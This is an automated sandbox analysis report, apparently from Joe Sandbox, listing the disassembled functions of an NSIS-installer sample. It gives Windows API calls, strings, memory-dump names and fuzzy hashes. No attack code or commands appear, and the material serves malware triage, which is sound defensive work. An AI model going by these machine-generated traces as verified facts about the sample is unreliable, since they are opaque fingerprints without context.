Function 004026F1 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040275D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402798
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027BB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027D1

Part of subcall function 00406128: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040613E

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040287D

Strings

9, xrefs: 00402740

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction ID: e892b7cb172a86a35cdf2d5061c859a119b49b65f2ae0b0c69c9b35c58dd84de
Opcode Fuzzy Hash: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction Fuzzy Hash: F151FB75D0411AABDF24DFD4CA85AAEBBB9FF04344F10817BE901B62D0D7B49D828B58

Uniqueness

Uniqueness Score: -1.00%

Function 004055DC Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
lstrlenW.KERNEL32(0040341D,0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 906fe2e33ec339045028823105f1a28636d6cdc7c4a53a0106b9bb612f22f5f3
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9121A171900158BACB119F65DD449CFBFB4EF45350F50843AF508B62A0C3794A50CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406805 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,0043F000,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
CharNextW.USER32(?,0043F000,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
CharPrevW.USER32(?,?,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406806
*?|<>/":, xrefs: 00406857

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-681532160
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: fa9c0ef9ae643832d728fa0671e6943ea0b093c18f887e6db6f7fe1f852dcfd9
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: F111932780221299DB303B148C40E7766E8AF54794F52C43FED8A722C0F77C4C9286AD

Uniqueness

Uniqueness Score: -1.00%

Function 00404E91 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404EAC
GetMessagePos.USER32 ref: 00404EB4
ScreenToClient.USER32(?,?), ref: 00404ECE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EE0
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F06

Strings

f, xrefs: 00404EE2

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: eb967d7d92909976ed67768bbc6bf91133f1097352fa1b537f2083fc5134d3bd
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: AB019E71900219BADB00DB94DD81FFEBBBCAF95710F10412BFB11B61C0C7B4AA018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402F98 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB6
MulDiv.KERNEL32(00043F0E,00000064,?), ref: 00402FE1
wsprintfW.USER32 ref: 00402FF1
SetWindowTextW.USER32(?,?), ref: 00403001
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403013

Strings

verifying installer: %d%%, xrefs: 00402FEB

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: b4a4546c530c1255e03538258eeb387f0310dfe45b0532776fb26864182fd6cc
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 8D014F71640208BBEF209F60DE49FEE3B79AB04344F108039FA02B91D0DBB99A559B59

Uniqueness

Uniqueness Score: -1.00%

Function 00402955 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029D2
GlobalFree.KERNEL32(?), ref: 00402A0B
GlobalFree.KERNEL32(00000000), ref: 00402A1E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A3A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A4D

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction ID: 9240dae09012554c896714223f9a1d047de53ad28ef79bac3653223f28d0231c
Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction Fuzzy Hash: 3931AD71D00124BBCF21AFA5CE89D9E7E79AF49324F10423AF521762E1CB794D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402EAE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F02
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F4E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F57
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F79

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 7c59605d0ca35e0e1f1170af87acd2d95b5481229a772e02f8b12e0d157fbf49
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 2A216B7150010ABFDF119F90CE89EEF7B7DEB54398F100076B949B21E0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D86 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9F
GetClientRect.USER32(?,?), ref: 00401DEA
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E1A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E2E
DeleteObject.GDI32(00000000), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction ID: ff9804e90d7d2423da96771145ec8c84d1acc30631874d8c14b803c0354ed8c3
Opcode Fuzzy Hash: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction Fuzzy Hash: 73210772900119AFCB05DF98EE45AEEBBB5EF08314F14003AF945F62A0D7789D81DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E53 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E56
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E70
MulDiv.KERNEL32(00000000,00000000), ref: 00401E78
ReleaseDC.USER32(?,00000000), ref: 00401E89
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction ID: a825ad976d3f878f3d1ae6f085165680ecf176d60430839047bda31eedf7821d
Opcode Fuzzy Hash: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction Fuzzy Hash: 62017571905240EFE7005BB4EE49BDD3FA4AB15301F10867AF541B61E2C7B904458BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CD0

Strings

!, xrefs: 00401C84

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction ID: 3d1946e732457e70d46414fe723373bc78a31951f468440fe5e33f287296c6aa
Opcode Fuzzy Hash: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction Fuzzy Hash: BC21AD71D1421AAFEB05AFA4D94AAFE7BB0EF84304F10453EF601B61D0D7B84941DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404D83 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
wsprintfW.USER32 ref: 00404E2D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

%u.%u%s%s, xrefs: 00404E0E

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: 0fe25742dfe6cfa92c38baccc724587d3b65f537d6828788df476db8ac6fa50e
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: B111EB336042283BDB109A6DAC45E9E329CDF85374F250237FA65F71D1E978DC2282E8

Uniqueness

Uniqueness Score: -1.00%

Function 00405F2E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 00405ED1: CharNextW.USER32(?,?,0042F270,?,00405F45,0042F270,0042F270, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,756F3420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

lstrlenW.KERNEL32(0042F270,00000000,0042F270,0042F270, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,756F3420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405F87
GetFileAttributesW.KERNEL32(0042F270,0042F270,0042F270,0042F270,0042F270,0042F270,00000000,0042F270,0042F270, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,756F3420,C:\Users\user\AppData\Local\Temp\), ref: 00405F97

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F2E
4ou, xrefs: 00405F30

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4ou$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-2259175124
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 0bce86d1d95a7c790b53086ee47358a3377499fb664fcb231eb74dc800c81f90
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 7AF0F43A105E1269D622733A5C09AAF1555CE86360B5A457BFC91B22C6CF3C8A42CCBE

Uniqueness

Uniqueness Score: -1.00%

Function 00405E26 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E2C
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E36
lstrcatW.KERNEL32(?,0040A014), ref: 00405E48

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E26

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-1881609536
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: dcb1dcffde27bcde4b46a4bd7655c85b8e924b1ae314dab144fc932f30a80b76
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: 9DD0A731501534BAC212AB54AD04DDF62AC9F46344381443BF141B30A5C77C5D51D7FD

Uniqueness

Uniqueness Score: -1.00%

Function 0040301E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,004031FC,00000001), ref: 00403031
GetTickCount.KERNEL32 ref: 0040304F
CreateDialogParamW.USER32(0000006F,00000000,00402F98,00000000), ref: 0040306C
ShowWindow.USER32(00000000,00000005), ref: 0040307A

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction ID: 9291db8f65f8f9a8906298ccab22143765a9ea5c3e1cf5a275661437a5304794
Opcode Fuzzy Hash: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
